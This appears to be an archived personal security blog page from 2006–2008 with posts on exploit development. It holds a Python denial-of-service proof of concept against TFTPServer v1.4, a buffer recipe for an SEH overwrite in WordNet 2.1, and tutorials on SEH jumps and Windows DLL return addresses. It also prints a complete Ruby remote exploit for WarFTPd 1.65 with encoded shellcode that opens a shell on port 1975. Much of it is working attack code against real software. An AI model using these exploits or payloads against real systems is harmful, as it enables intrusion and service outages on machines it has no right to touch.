TFTPServer v1.4 DOS POC

Posted by Eric | Code, POC, Vulnerabilities, exploits | Tuesday 23 December 2008 12:15 am

Running out of time to play with this bug, still need to pack for my flight early tmw morning. Code at the bottom results in a DOS. I fiddled a little with the POC but throwing that much data at it does not seem to do anything, almost as if the program is just dropping it. It’s also possible my VM’s are screwed up! Meh, I’m heading to a warmer climate! Peace out!

msvcrt.dll:77c483b7 mov ah,[edi] from thread 340 caused access violation
when attempting to read from 0x41414141
 
CONTEXT DUMP
  EIP: 77c483b7 mov ah,[edi]
  EAX: 77c5f76e (2009462638) -> N/A
  EBX: 77c5f7a0 (2009462688) -> N/A
  ECX: 77c33493 (2009281683) -> N/A
  EDX: 77c61b18 (2009471768) -> N/A
  EDI: 41414141 (1094795585) -> N/A
  ESI: 00409243 (   4231747) -> N/A
  EBP: 00aef788 (  11466632) -> N/A
  ESP: 00aef77c (  11466620) -> w'=$}bwAAAAB@dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +00: 77c5f7a0 (2009462688) -> N/A
  +04: 003d27d0 (   4007888) -> Tl @wwos===C:\WINDOWSE" (heap)
  +08: 0024bc80 (   2407552) -> $Tq CKM@c$ (heap)
  +0c: 00aef7a0 (  11466656) -> dz@AAAAB@<.@AAAAB@TdX.|t (stack)
  +10: 77c4627d (2009358973) -> N/A
  +14: 41414141 (1094795585) -> N/A
 
disasm around:
	0x77c483a4 push esi
	0x77c483a5 push ebx
	0x77c483a6 mov esi,[ebp+0xc]
	0x77c483a9 mov edi,[ebp+0x8]
	0x77c483ac mov al,0xff
	0x77c483ae mov edi,edi
	0x77c483b0 or al,al
	0x77c483b2 jz 0x77c483e2
	0x77c483b4 mov al,[esi]
	0x77c483b6 inc esi
	0x77c483b7 mov ah,[edi]
	0x77c483b9 inc edi
	0x77c483ba cmp ah,al
	0x77c483bc jz 0x77c483b0
	0x77c483be sub al,0x41
	0x77c483c0 cmp al,0x1a
	0x77c483c2 sbb cl,cl
	0x77c483c4 and cl,0x20
	0x77c483c7 add al,cl
	0x77c483c9 add al,0x41
	0x77c483cb xchg al,ah
#/usr/bin/env python
 
import socket,sys
 
host = sys.argv[1]
port = 69
 
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((host,port))
 
data  = "\x00\x01" #  1     Read request (RRQ)
data += "A" * 242 #overwrite EDI
data += "B" * 4 # EDI VALUE
data += "\x00"
data += "\x6e\x65\x74\x61\x73\x63\x69\x69\x00" #tftp protocol trailing crap mostly to make wireshark happy
sock.sendall(data)

Wordnet 2.1 sprintf(buf, argv[1]) WTF!

Posted by Eric | exploits | Tuesday 13 May 2008 7:34 pm

Cool Stuff. Like the dude that found it said what a clasic!

http://wordnet.princeton.edu/2.1/WordNet-2.1.exe


in the function 'searchwn()', called from 'main()', there is a static 'char
tmpbuf[256]' into which an invalid command line option is copied using
sprintf():
} else {

sprintf(tmpbuf, “wn: invalid search option: %s\n”, av[j]);
display_message(tmpbuf);
errcount++;
}

So, you call wn.exe from the command line with an argument of -bleh you get:C:\Documents and Settings\e\My Documents\Visual Studio Projects\wordnet-sploit\D
ebug>wn -bleh
wn: invalid search word

C:\Documents and Settings\e\My Documents\Visual Studio Projects\wordnet-sploit\D
ebug>wn -bleh %s
wn: invalid search option: ïD$(â─►@ëD$↑ït$ ïF♦â╞♦;╟ët$ ☼à☺ ïD$↑;╟t↓^[_≈╪]ïî$¶☺

Or….

-bleh `python -c ‘print “A”*500′`

will crash it!

Using msfpattercreate we find that we overwrite the SEH Frame 357 bytes in.

buffer: A*353 + “BBBB” + “C”*400

Will overwrite the SEH Frame:

Since I’m on XP SP2, you can’t just do a call/jmp EBX so we need a pop/pop/ret. Get yours from kernel32.dll.

I used msfpescan to look for a universal, but all the pop/pop/ret’s I found had a null char in it :(

Your buf is gonna look like this when all is said and done:

buffer: A*353 + \x06\xeb\x90\x90\ + pop\pop\ret + shellcode.

Overflow the buffer, short jump forward, follow it up with a pop reg pop reg return into the shellcode.
Non working (Stack corruption in the sploit buf ) here.

Process Memory Linux

Posted by Eric | Linux, exploits | Wednesday 5 March 2008 10:03 am

<meta content="OpenOffice.org 2.0 (Linux)" name="GENERATOR" /><meta content="20080305;7343200" name="CREATED" /><meta content="16010101;0" name="CHANGED" /><br /> <style> <!-- @page { size: 8.5in 11in; margin: 0.79in } P { margin-bottom: 0.08in } --> </style> <p style="margin-bottom: 0in">Every Process has an address space with three segments: Text (code), Data, and Stack.</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">The Text segment ,sometimes also called code segment contains the machine instructions that form the programs executable code. This section is usually read only and is generated by the compiler.</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">The Data segment contains storage for program variables, strings, arrays and other data. This segment contains two parts, initialized and uninitialized data. The Uninitialized portion is known (historically at least) as BSS. The data segment can change, unlike the text(code) segment.</p> <p style="margin-bottom: 0in"> <p style="margin-bottom: 0in">The Stack Segment starts at the top of the Virtual Address Space and grows down towards 0. If the stack grows beyond its bounds a hardware fault occurs and the operation system lowers the bottom of the stack by 1 page. When you start a program all its variables and command line arguments are stored on the stack segment. This last statement should connect in your memory and fill in the “why” from any tutorials you may have read, which did something like strcpy(buffer, argv[1]).</p> <p style="margin-bottom: 0in"> <pre>Process Memory Layout: (Borrowed w/o permission from tutorial by: xgc/dx A.K.A Thyago Silva http://milw0rm.com/papers/4) 0xc0000000</pre> <pre>--------------------- | | | env/argv pointer. | | argc | |-------------------| | | | stack | | | | | | | | | | V | / / | | | ^ | | | | | | | | | | heap | |-------------------| | bss | |-------------------| | initialized data | |-------------------| | text | |-------------------| | shared libraries | | etc. | |-------------------|</pre> <pre>0x8000000</pre> <p style="margin-bottom: 0in">Above when discussing the stack segment we briefly mentioned that the operating system will increase the stack by 1 page when it grows out of its boundaries. A page is a 4Kb area of memory and is the basic unit of memory with which both the kernel and the CPU deal. Although both can access individual bytes (or even bits), the amount of memory that is managed is usually in pages. For more information on Linux paging and the linux memory model in general see <a href="http://www.ibm.com/developerworks/linux/library/l-memmod/">This link</a></p> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=48#respond" title="Comment on Process Memory Linux">Comments (0)</a> </div> </div> <div class="post"> <h2 id="post-22"><a href="http://hamsterswheel.com/techblog/?p=22" rel="bookmark">SEH Overwrite JMPS</a></h2> <div class="meta">Posted by Eric | <a href="http://hamsterswheel.com/techblog/?cat=9" title="View all posts in Vulnerabilities" rel="category">Vulnerabilities</a>, <a href="http://hamsterswheel.com/techblog/?cat=10" title="View all posts in exploits" rel="category">exploits</a> | Saturday 28 July 2007 5:58 pm </div> <div class="storycontent"> <p>A few weeks ago I started taking a stab at an Active X exploit in Enjoy SAPGui that I saw on FD. MC found the software and had me download; he wanted to 0wn it at work. We have a plethora of old dell laptops which actually make great victims but I think his is getting old. He was having some CRC errors when trying to extract the installation files from the 600 mb rar file. He passed it off to me and went to lunch! I extracted it and re read the advisory and figured since it was a stack overflow so it would be straight forward. So, I fuzz it using ComRaider in order to find the exact spot it breaks and then start crafting my POC which I completely ripped the template from MC. Using the create_pattern within the REX API from Metasploit 3.0 I find my offset and start going to work. After about an hour of tinkering with it and getting discouraged I discovered it wasn’t going to be as easy or as forgiving as I had hoped. As it would turn out, it required me to overwrite the structured exception handler… Shit, I knew of this but not how to do it. MC quickly hacked out the missing components and pushed out the module. Fortunately I was able to analyze what he did and ask a few questions. In typical fashion MC didn’t answer my questions but he guided me in a topic for research later that evening.</p> <p>If you’re unfamiliar with Structured Exception Handlers, or their exploitation you can learn a lot by checking out the following article. Alternatively, Uninformed journal has an excellent paper on preventing s eh overwrites. The paper has an excellent intro to structured exception handlers.</p> <p>http://www.microsoft.com/msj/0197/Exception/Exception.aspx</p> <p>So what exactly is the structured exception handler? I think the definition in the shellcoders handbook was the best definition “An exception handler is a piece of code that deals with problems that arise when something goes wrong within a running process.” When something goes bad, e.g. an exception occurs, the exception handler is used to handle it. The exception handler in a structure on the stack and is basically a linked list. Then the exception occurs, the linked list is walked until a suitable handler is found. In the event a handler is not locate the thread or process is terminated. This is why if you are fuzzing an active x controller and send it 1000 “\x41’s” and it overflows at 800, internet explorer crashes! This works well for a Denial of Service code, but isn’t very effective if we want remote code execution.</p> <p>As those who were paying attention will notice, the exception handler is loaded on the stack at thread startup. When we overflow our programs buffer and end up with a stack overflow we also overflow the exception handler. Basically our stack window in OLLY will look like this (minus the shortjmp code and the jmb ebx address which will we get into momentarily)</p> <p><img src="http://hamsterswheel.com/pictures/sehover.jpg" /></p> <p>Currently The data in the “Pointer to next S EH record is our EXCEPTION_REGISTRATION and the “SE HANDLER” is where the address our EXCEPTION_REGISTRATION IS Pointed. EBX points to our EXCEPTION_REGISTRATION structure. What we need now is an address that contains a JMP or CALL EBX. When we CALL or JMP into EBX, we go right into our “SE Handler” and if we don’t handle that correctly the thread is terminated. What we need to do is place a JMP instruction. This will JMP over our “SE Handler” and into our shell code. In the particular exploit I was playing with MC used \xeb\x06 + \x90\x90. I had seen this done before and used before but I never fully understood what it all was doing. This compelled me to do research and then write a paper, and subsequently this blog.</p> <p>My research bought me to a few websites, as well as the shell coder’s handbook. The first website I encountered was: http://mirror.href.com/thestarman/asm/2bytejumps.htm The website was great in breaking everthing out for me about relative jumps. Basically what I needed to get out of it was relative jumps (also known as short jumps) always have the first byte EB and the second is a relative offset 00h to 7FH is a forward jump and 80h to Ffh is for a backward jump. If your overwrite keeps overwriting the stack well past the exception handler structure you can simply write your shellcode in after handler overflow and jump forward to it. In the event you don’t have room, you will need to jump back! So, that took care of the Jumps. I hope I broke some stuff down to better understandings. I’m a horrible writer, but researching the issue definitely helped me understand it better!</p> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=22#comments" title="Comment on SEH Overwrite JMPS">Comments (2)</a> </div> </div> <div class="post"> <h2 id="post-21"><a href="http://hamsterswheel.com/techblog/?p=21" rel="bookmark">Win DLL’s</a></h2> <div class="meta">Posted by Eric | <a href="http://hamsterswheel.com/techblog/?cat=10" title="View all posts in exploits" rel="category">exploits</a> | Tuesday 15 May 2007 10:14 am </div> <div class="storycontent"> <p class="MsoNormal">Finding the right return was for me one of the most difficult aspects of getting my overflows to work on win32. The examples in books like the shell coders handbook and The Art of Hacking were linux based and old for that matter. The examples didn’t take into account safe guards imposed by the OS. When starting out it was vexing to say the least.</p> <p class="MsoNormal"> <p class="MsoNormal">My first successful Windows exploit was warftpd 1.65. It was straight forward and after I fixed a minor type-o in my code that was causing me to underrun the buffer, but overflow it later having the exception thrown somewhere in the middle of my shellcode I got it! It was late at night and I think I woke up my wife when I yelled in excitement.</p> <p class="MsoNormal"> <p class="MsoNormal">The return I used was a jmp esp that I found in kernel32.dll, I found the address using findjmp which was written by Ryan Permeh from Eeye. Findjmp finds useful jump points in a dll.</p> <p class="MsoNormal"> <p class="MsoNormal">A week later my co worker sent me some exploit code an activex overflow in bearshare. He was out doing a Vulnerability Assessment when the advisory came out. He noticed though that the offset and returns for xpsp2 and xpsp2 (vmware) were different so he sent it out to me and asked if I could get a quick return and check the offset for him. It took me a few minutes (mainly cause I did not have the binary for findjmp and had to find a visual C 6 compiler. This time I returned using a call esp, again into kernel32.dll.</p> <p class="MsoNormal"> <p class="MsoNormal">Both times I have returned into kernel32.dll and it made me start to wonder, what’s the difference between all the .dll’s and is there any significant advantage to using one over the other. After asking my co worker the answer I received was in short No, its just dependent on if you can find the instruction you need and successfully call your shellcode. This still made me want to go out and discover more about which dll’s did what. So I set about to findout, but could not find a central definition of the most popular. So here is a run down:</p> <p class="MsoNormal"> <p class="MsoNormal">These are the most popular dll’s people tend to return to, they are also the ones outlined in the MSF opcode DB. Per the MSF Wiki “Buffer Overflow exploits on windows often require precise knowledge of the position of certain machine language opcodes in the attacked program or included DLL’s. Here is what the DLL’s do:</p> <p class="MsoNormal"> <p class="MsoNormal">Ntdll.dll – The ntdll has a description of “NT Layer DLL” and contains NT kernel functions. It can be located in the %systemroot%\system32, or I386 directory.</p> <p class="MsoNormal"> <p class="MsoNormal">Kernel32.dll – Handles memory management, input/output operations, and interrupts. Kernel32.dll is loaded into a protected memory space so other applications do not take that space over.</p> <p class="MsoNormal"> <p class="MsoNormal">User32.dll – Handles Windows functions related to user interface (window handling, basic UI, and so forth)</p> <p class="MsoNormal"> <p class="MsoNormal">Gdi32.dll – <span style="font-size: 10pt; color: black">gdi32.dll contains functions for the Windows GDI (Graphical Device Interface) which assists windows in creating simple 2-dimensional objects.</span></p> <p class="MsoNormal"> <p class="MsoNormal">Ws2_32.dll – <span style="font-size: 10pt; color: black">File that contains the Windows Sockets API used by most Internet and network applications to handle network connections.</span></p> <p class="MsoNormal"> <p class="MsoNormal">Ws2help.dll – <span style="font-size: 10pt; color: black">File that contains the functions used by the Windows Sockets API, which is used by Internet and network applications.</span></p> <p class="MsoNormal"> <p class="MsoNormal">For more information on DLL’s, visit <a href="http://en.wikipedia.org/wiki/Dynamic-link_library">DLL Wikipedia</a></p> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=21#respond" title="Comment on Win DLL’s">Comments (0)</a> </div> </div> <div class="post"> <h2 id="post-20"><a href="http://hamsterswheel.com/techblog/?p=20" rel="bookmark">jmp esp</a></h2> <div class="meta">Posted by Eric | <a href="http://hamsterswheel.com/techblog/?cat=10" title="View all posts in exploits" rel="category">exploits</a> | Tuesday 1 May 2007 8:26 pm </div> <div class="storycontent"> <p>Last night I spent hours on this bloody warftpd vuln. It’s by no means new, I think it’s been out since 1995 and I’ve seen advisories for it as far back 1998 for sure. Anyhow, it was the first win32 overflow I’ve worked on. I’ve played with the linux stuff, the stupid examples in the shellcoders handbook and all that but win32 is a different world. After hours of working on the bug, I finally went to sleep feeling somewhat defeated and wondering if I would look at it again. I talked to a co worker of mine this morning and he knocked out the exploit in about 20 minutes. He didn’t do the same one I was working on though. Warftpd 1.65 has two way’s to exploit and he chose writing over the SEH.</p> <p>Today I got home, and started hitting it again. Within about 10 minutes I had a shell. At first I lost it, because I was in awe at my accomplishment. The code is shitty, the return is shitty. If I exit my shell the process crashes, I have to have telnet ready to go before exploiting. But ya know what, I got it! I guess after a few more swacks at a few more programs I can begin to work on my optimization skills. I guess for know though, I will just continue hitting it up!</p> <p>I have to say though. The surge that went through my body felt like heroine hitting the veins. Not that I know what that feels like, I assure you I don’t. But from what I hear, it’s pretty good!</p> <p>I wrote it in ruby, and it’s really bad! but it works, and I’m just glad I finally figured out basic win32 exploitation!</p> <p>#!/usr/bin/env ruby</p> <p>require ‘net/ftp’</p> <p>host = ARGV[0]<br /> port = ARGV[1] || 21</p> <p>shell = “\x2b\xc9\xba\x46\xb7\x73\xc2\xdb\xd1\xd9\x74\x24\xf4\x58″<br /> shell << “\xb1\x50\x83\xe8\xfc\x31\x50\x0e\x03\x50\x0e\xa4\x42\x8f”<br /> shell << “\xa8\xc3\xe0\x98\xd4\xec\x04\xa7\x47\x99\x97\x7c\xac\x16″<br /> shell << “\x22\x41\x27\x54\xa8\xc1\x36\x4b\x39\x7e\x21\x18\x61\xa1″<br /> shell << “\x50\xf5\xd7\x2a\x66\x82\xe9\xc2\xb6\x54\x70\xb6\x3d\x94″<br /> shell << “\xf7\xc0\xfc\xde\xf5\xcf\x3c\x35\xf1\xeb\x94\xed\xd2\x7e”<br /> shell << “\xf0\x66\x7d\xa5\xfb\x93\xe4\x2e\xf7\x28\x62\x6f\x14\xaf”<br /> shell << “\x9f\x93\x08\x24\xd6\xf8\x74\x26\x88\xc3\x44\x8d\x2e\x4f”<br /> shell << “\xe5\x01\x24\x0f\xe6\xea\x4a\x8c\x5b\x67\xea\xa4\xfd\x1f”<br /> shell << “\x65\xfa\x0f\x33\x29\xfc\xc6\xad\x99\x64\x8f\x02\x2c\x01″<br /> shell << “\x38\x17\x62\x8e\x92\x28\x52\x58\xd0\x3b\xaf\xa2\xb6\x3c”<br /> shell << “\x86\x8a\xbf\x27\x41\xb4\x2d\xaf\x8c\xe3\xc7\xad\x6f\xdb”<br /> shell << “\x70\x68\x86\x29\x2d\xdd\x66\x07\x7d\xb2\xcb\xfb\xd1\x77″<br /> shell << “\xbf\xb8\x86\x88\xef\x59\x41\x71\xa7\xc0\xc2\xf4\x26\x99″<br /> shell << “\x8d\xa2\xb3\xd2\x8a\xfd\x3c\xc4\x7f\x11\x92\xbc\x80\xc1″<br /> shell << “\x7c\x9b\xd2\xcf\x95\xb4\xd3\xd9\x35\x6e\xd3\x35\xd1\x75″<br /> shell << “\x62\x33\x6b\x21\x8a\xed\x3c\x99\x20\x44\x42\xf1\x5a\x0e”<br /> shell << “\x5b\x8b\x9a\xb7\xf4\x93\xf5\x12\x04\xbb\x9c\xf6\x9e\x5a”<br /> shell << “\x09\x65\x32\x2a\x2c\x03\x9c\x75\x86\x1f\x95\x61\xb2\xdb”<br /> shell << “\x2f\x8f\x72\x23\xdc\xfa\x8b\xe1\x0e\x05\x31\xc9\xc3\x74″<br /> shell << “\xcc\x29\x4f\x2d\x9a\x21\xfd\xcc\x6e\xa7\xfe\x44\xd5\x38″<br /> shell << “\xd6\xfc\x82\x94\x86\x53\x7c\x72\x28\x05\x2f\xd7\x7b\x5a”<br /> shell << “\x1f\xbf\xd6\x7d\xa5\xf1\x7a\x81\x70\x67\x82\x82\x4a\x88″<br /> shell << “\xac\xf6\xe2\x8a\xce\xcd\x69\x8d\x07\x9f\x8e\xa1\xc0\x5e”<br /> shell << “\xa9\xa3\x62\xcc\xb6\xf5\x7a\x22\x42″</p> <p>user = “A” * 485<br /> ret = ret = “\x63\x37\x57\x7C”<br /> nop = “\x90″ * 32</p> <p>buf = user + ret + nop + shell</p> <p>puts (“[*] Attempting target #{host}”)<br /> ftp = Net::FTP.new(host)<br /> ftp.login(buf, passwd=”TEST”)</p> <p>puts “++ Connect to client on port 1975….\n”</p> <p>ftp.close</p> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=20#comments" title="Comment on jmp esp">Comments (1)</a> </div> </div> <div class="post"> <h2 id="post-15"><a href="http://hamsterswheel.com/techblog/?p=15" rel="bookmark">Idq / Code Red wierdness</a></h2> <div class="meta">Posted by Eric | <a href="http://hamsterswheel.com/techblog/?cat=9" title="View all posts in Vulnerabilities" rel="category">Vulnerabilities</a>, <a href="http://hamsterswheel.com/techblog/?cat=8" title="View all posts in Web - Security" rel="category">Web - Security</a>, <a href="http://hamsterswheel.com/techblog/?cat=10" title="View all posts in exploits" rel="category">exploits</a> | Tuesday 14 November 2006 9:53 pm </div> <div class="storycontent"> <p>On a recent pen test I encountered a wierd thing. I discovered a code red vulnerability on a web server using a custom scanner that I modified from source. The check for code red sends the GET /x.ida (220 A’s) =x HTTP/1.0\r\n\r\n and checks for the string “c0000005″ in the return.</p> <p>So, my app shows:</p> <p> <a href="http://hamsterswheel.com/techblog/?p=15#more-15" class="more-link">(more…)</a></p> </div> <div class="feedback"> <a href="http://hamsterswheel.com/techblog/?p=15#comments" title="Comment on Idq / Code Red wierdness">Comments (3)</a> </div> </div> </div> <div id="footer"> © Copyright 2009 | <a href="http://hamsterswheel.com/techblog">Phn1x – Hamsterswheel</a> | Theme by <a href="http://clubparexcellancetech.com/">Club Par Excellance</a> | All Rights Reserved | Sponsored by <a href="http://www.voipkit.ca/">VoIP</a> </div> </body> </html>